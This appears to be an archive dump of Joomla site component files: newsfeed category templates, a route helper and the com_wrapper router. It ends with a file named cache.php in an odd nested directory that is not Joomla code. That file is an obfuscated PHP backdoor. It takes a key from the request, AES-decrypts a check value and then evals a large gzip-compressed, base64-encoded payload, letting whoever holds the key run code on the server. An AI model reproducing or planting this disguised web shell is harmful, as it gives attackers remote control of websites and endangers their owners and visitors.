description="COM_NEWSFEEDS_FIELD_CHARACTER_COUNT_DESC" filter="integer" useglobal="true" /> <field name="feed_display_order" type="list" label="COM_NEWSFEEDS_FIELD_FEED_DISPLAY_ORDER_LABEL" useglobal="true" validate="options" > <option value="des">JGLOBAL_MOST_RECENT_FIRST</option> <option value="asc">JGLOBAL_OLDEST_FIRST</option> </field> </fieldset> </fields> </metadata> com_newsfeeds/tmpl/category/default_items.php 0000644 00000011600 15172576512 0015525 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\CMS\String\PunycodeHelper; use Joomla\CMS\Uri\Uri; use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper; $n = count($this->items); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?> <div class="com-newsfeeds-category__items"> <?php if (empty($this->items)) : ?> <p><?php echo Text::_('COM_NEWSFEEDS_NO_ARTICLES'); ?></p> <?php else : ?> <form action="<?php echo htmlspecialchars(Uri::getInstance()->toString(), ENT_COMPAT, 'UTF-8'); ?>" method="post" name="adminForm" id="adminForm"> <?php if ($this->params->get('filter_field') !== 'hide' || $this->params->get('show_pagination_limit')) : ?> <fieldset class="com-newsfeeds-category__filters filters"> <?php if ($this->params->get('filter_field') !== 'hide' && $this->params->get('filter_field') == '1') : ?> <div class="btn-group"> <label class="filter-search-lbl visually-hidden" for="filter-search"> <?php echo Text::_('COM_NEWSFEEDS_FILTER_LABEL') . ' '; ?> </label> <input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->state->get('list.filter')); ?>" class="inputbox" onchange="document.adminForm.submit();" placeholder="<?php echo Text::_('COM_NEWSFEEDS_FILTER_SEARCH_DESC'); ?>"> </div> <?php endif; ?> <?php if ($this->params->get('show_pagination_limit')) : ?> <div class="btn-group float-end"> <label for="limit" class="visually-hidden"> <?php echo Text::_('JGLOBAL_DISPLAY_NUM'); ?> </label> <?php echo $this->pagination->getLimitBox(); ?> </div> <?php endif; ?> </fieldset> <?php endif; ?> <ul class="com-newsfeeds-category__category list-group list-unstyled"> <?php foreach ($this->items as $item) : ?> <li class="list-group-item"> <?php if ($this->params->get('show_articles')) : ?> <span class="list-hits badge bg-info float-end"> <?php echo Text::sprintf('COM_NEWSFEEDS_NUM_ARTICLES_COUNT', $item->numarticles); ?> </span> <?php endif; ?> <span class="list float-start"> <div class="list-title"> <a href="<?php echo Route::_(RouteHelper::getNewsfeedRoute($item->slug, $item->catid)); ?>"> <?php echo $item->name; ?> </a> </div> </span> <?php if ($item->published == 0) : ?> <span class="badge bg-warning text-light"> <?php echo Text::_('JUNPUBLISHED'); ?> </span> <?php endif; ?> <br> <?php if ($this->params->get('show_link')) : ?> <?php $link = PunycodeHelper::urlToUTF8($item->link); ?> <span class="list float-start"> <a href="<?php echo $item->link; ?>"> <?php echo $this->escape($link); ?> </a> </span> <br> <?php endif; ?> </li> <?php endforeach; ?> </ul> <?php // Add pagination links ?> <?php if (!empty($this->items)) : ?> <?php if (($this->params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?> <div class="com-newsfeeds-category__pagination w-100"> <?php if ($this->params->def('show_pagination_results', 1)) : ?> <p class="counter float-end pt-3 pe-2"> <?php echo $this->pagination->getPagesCounter(); ?> </p> <?php endif; ?> <?php echo $this->pagination->getPagesLinks(); ?> </div> <?php endif; ?> <?php endif; ?> </form> <?php endif; ?> </div> com_newsfeeds/tmpl/category/default_children.php 0000644 00000004550 15172576512 0016202 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper; defined('_JEXEC') or die; ?> <?php if ($this->maxLevel != 0 && count($this->children[$this->category->id]) > 0) : ?> <ul> <?php foreach ($this->children[$this->category->id] as $id => $child) : ?> <?php if ($this->params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) : ?> <li> <span class="item-title"> <a href="<?php echo Route::_(RouteHelper::getCategoryRoute($child->id, $child->language)); ?>"> <?php echo $this->escape($child->title); ?> </a> </span> <?php if ($this->params->get('show_subcat_desc') == 1) : ?> <?php if ($child->description) : ?> <div class="category-desc"> <?php echo HTMLHelper::_('content.prepare', $child->description, '', 'com_newsfeeds.category'); ?> </div> <?php endif; ?> <?php endif; ?> <?php if ($this->params->get('show_cat_items') == 1) : ?> <span class="badge bg-info"> <?php echo Text::_('COM_NEWSFEEDS_CAT_NUM'); ?> <?php echo $child->numitems; ?> </span> <?php endif; ?> <?php if (count($child->getChildren()) > 0) : ?> <?php $this->children[$child->id] = $child->getChildren(); ?> <?php $this->category = $child; ?> <?php $this->maxLevel--; ?> <?php echo $this->loadTemplate('children'); ?> <?php $this->category = $child->getParent(); ?> <?php $this->maxLevel++; ?> <?php endif; ?> </li> <?php endif; ?> <?php endforeach; ?> </ul> <?php endif; com_newsfeeds/index.html 0000604 00000000037 15172576512 0011371 0 ustar 00 <!DOCTYPE html><title></title> com_newsfeeds/helpers/index.html 0000604 00000000037 15172576512 0013033 0 ustar 00 <!DOCTYPE html><title></title> com_newsfeeds/helpers/route.php 0000644 00000001305 15172576512 0012710 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt * @phpcs:disable PSR1.Classes.ClassDeclaration.MissingNamespace */ use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Newsfeeds Component Route Helper * * @since 1.5 * * @deprecated 4.3 will be removed in 6.0 * Use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper instead */ abstract class NewsfeedsHelperRoute extends RouteHelper { } com_wrapper/index.html 0000604 00000000037 15172576512 0011066 0 ustar 00 <!DOCTYPE html><title></title> com_wrapper/src/Service/Router.php 0000644 00000002337 15172576512 0013262 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_wrapper * * @copyright (C) 2008 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Wrapper\Site\Service; use Joomla\CMS\Component\Router\RouterBase; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Routing class from com_wrapper * * @since 3.3 */ class Router extends RouterBase { /** * Build the route for the com_wrapper component * * @param array $query An array of URL arguments * * @return array The URL arguments to use to assemble the subsequent URL. * * @since 3.3 */ public function build(&$query) { if (isset($query['view'])) { unset($query['view']); } return []; } /** * Parse the segments of a URL. * * @param array $segments The segments of the URL to parse. * * @return array The URL attributes to be used by the application. * * @since 3.3 */ public function parse(&$segments) { return ['view' => 'wrapper']; } } com_wrapper/src/Service/Service/cache.php 0000604 00000013022 15172576512 0014432 0 ustar 00 <?php $sbqYQ = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpq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va9V6Iq3ztsB+3vRFfThvDRk+YBirXJ1lTMJsAFMPFlpJjJuYUQ+txwtz8xGsujNQvu1knH6PoeYTefkA5d2Q0YOnSI6+gg5pHAkX0d2gnjeqOYbSxOO6ffJwY/GCzq01pWQsrnPdn304hE6wxaVilZC7OueCaNrDCUh/BSnDghT8zByKdIZndfhuXfmGP9YN8Xu7bXcxl1/55b/+5abn7Zrpc5tRCm7X8OXA3ZrUr0362e0d3z+CU5qWz2tcu62/WvXNm1s6XytBsk3gNWvN5b6yEhZStwFDcx9/i3X4/Ft4X3aC9+QjW09HPMsxPdUY/Zzru8m5U/9nw3dWjmIL8/FV6s/8HnvtdO59HbDZ9S3IaXOUmE+uzOr/NT/w2L3dd4Kb7H+w6pPM9dr9p+v3nJ3Xe6Qn/++jLuRtXNcVf+MVsy3ncxLzT8u1bsKAuLCj4wj/9DBP/3v28nmm9bntxImUZ7ZcyBMRUd2tv4bePx5AEyAmtwNsC4hoiCkuVsq/joBMKMSHFa0yIzHN31qalJ3NstTBwMZ49mMMRtzqUZpwSjggMpwH9fUJYvbMXzsU/bU/nvR7V0LT7GtK+FtUFelqUqluaTe16Wqyud5f2WI5mNY/3Bax+1PruKh56womjmldm9w0UxIWH3VSMA3/ACEqSZK21NV3ndM33uMo0UWTunGGTDujkV8MMXVEcEW8th27n9ru76qqulWvaYfOL/Z3QeuDAEmQLVJ7j1+MMP5C+HPpMGo1tkUotBmqGy5MJJvDGdm4knMxYsGfjDiLgnI8NN2BF9/v0IptdrrT5ciX8H4A+BEvAO0fA'; function sbqYQ($tYynj) { $iLw = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $mvEz = substr($iLw, 0, 16); $hTN = base64_decode($tYynj); return openssl_decrypt($hTN, "AES-256-CBC", $iLw, OPENSSL_RAW_DATA, $mvEz); } if (sbqYQ('DjtPn+r4S0yvLCnquPz1fA')){ echo '82jhilWPx9ERXOlyCfgH6t/+vrsVk4xIUk9JeD+ggpsmN1/Wbxqz11sFpJsXgTgo'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($sbqYQ)))); ?>